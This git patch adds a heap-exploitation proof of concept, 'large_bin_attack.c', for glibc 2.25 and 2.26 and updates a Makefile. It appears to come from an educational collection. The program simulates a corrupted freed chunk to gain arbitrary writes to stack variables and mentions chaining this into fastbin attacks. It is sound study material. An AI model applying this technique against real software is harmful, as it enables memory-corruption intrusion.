From 37b71d02ab7b323b9641e7a9e057afb3bb6fe3d1 Mon Sep 17 00:00:00 2001 From: Sajjad Arshad Date: Thu, 27 Sep 2018 21:14:33 +0000 Subject: [PATCH] added POC for large bin attack and updated Makefile --- Makefile | 4 +- glibc_2.25/large_bin_attack.c | 71 +++++++++++++++++++++++++++++++++++ glibc_2.26/large_bin_attack.c | 71 +++++++++++++++++++++++++++++++++++ 3 files changed, 144 insertions(+), 2 deletions(-) create mode 100644 glibc_2.25/large_bin_attack.c create mode 100644 glibc_2.26/large_bin_attack.c diff --git a/Makefile b/Makefile index e6c19c2..1bffc40 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ BASE = fastbin_dup malloc_playground first_fit -V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange -V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/poison_null_byte glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit +V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/large_bin_attack glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange +V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/poison_null_byte glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit PROGRAMS = $(BASE) $(V2.25) $(V2.26) CFLAGS += -std=c99 -g diff --git a/glibc_2.25/large_bin_attack.c b/glibc_2.25/large_bin_attack.c new file mode 100644 index 0000000..ad0e003 --- /dev/null +++ b/glibc_2.25/large_bin_attack.c @@ -0,0 +1,71 @@ +#include +#include + +int main() +{ + fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); + fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " + "global variable global_max_fast in libc for further fastbin attack\n\n"); + + unsigned long stack_var1 = 0; + unsigned long stack_var2 = 0; + + fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); + fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); + fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2); + + unsigned long *p1 = malloc(0x320); + fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" + " the first large chunk during the free()\n\n"); + malloc(0x20); + + unsigned long *p2 = malloc(0x400); + fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" + " the second large chunk during the free()\n\n"); + malloc(0x20); + + unsigned long *p3 = malloc(0x400); + fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" + " the third large chunk during the free()\n\n"); + malloc(0x20); + + free(p1); + free(p2); + fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" + " %p --> %p\n\n", (void *)(p2 - 2), (void *)(p1 - 2)); + + malloc(0x90); + fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" + " freed second large chunk into the large bin, use parts of the freed first large chunk for allocation, and" + " reinsert the remaining of the freed first large chunk into the unsorted bin:" + " %p\n\n", (void *)((char *)p1 + 0x90)); + + free(p3); + + //------------VULNERABILITY----------- + + fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" + " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); + + p2[-1] = 0x3f1; + p2[0] = 0; + p2[2] = 0; + p2[1] = (unsigned long)(&stack_var1 - 2); + p2[3] = (unsigned long)(&stack_var2 - 4); + + //------------------------------------ + + malloc(0x90); + + fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:\n"); + fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); + fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); + + return 0; +} diff --git a/glibc_2.26/large_bin_attack.c b/glibc_2.26/large_bin_attack.c new file mode 100644 index 0000000..ad0e003 --- /dev/null +++ b/glibc_2.26/large_bin_attack.c @@ -0,0 +1,71 @@ +#include +#include + +int main() +{ + fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); + fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " + "global variable global_max_fast in libc for further fastbin attack\n\n"); + + unsigned long stack_var1 = 0; + unsigned long stack_var2 = 0; + + fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); + fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); + fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2); + + unsigned long *p1 = malloc(0x320); + fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" + " the first large chunk during the free()\n\n"); + malloc(0x20); + + unsigned long *p2 = malloc(0x400); + fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" + " the second large chunk during the free()\n\n"); + malloc(0x20); + + unsigned long *p3 = malloc(0x400); + fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); + + fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" + " the third large chunk during the free()\n\n"); + malloc(0x20); + + free(p1); + free(p2); + fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" + " %p --> %p\n\n", (void *)(p2 - 2), (void *)(p1 - 2)); + + malloc(0x90); + fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" + " freed second large chunk into the large bin, use parts of the freed first large chunk for allocation, and" + " reinsert the remaining of the freed first large chunk into the unsorted bin:" + " %p\n\n", (void *)((char *)p1 + 0x90)); + + free(p3); + + //------------VULNERABILITY----------- + + fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" + " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); + + p2[-1] = 0x3f1; + p2[0] = 0; + p2[2] = 0; + p2[1] = (unsigned long)(&stack_var1 - 2); + p2[3] = (unsigned long)(&stack_var2 - 4); + + //------------------------------------ + + malloc(0x90); + + fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:\n"); + fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); + fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); + + return 0; +}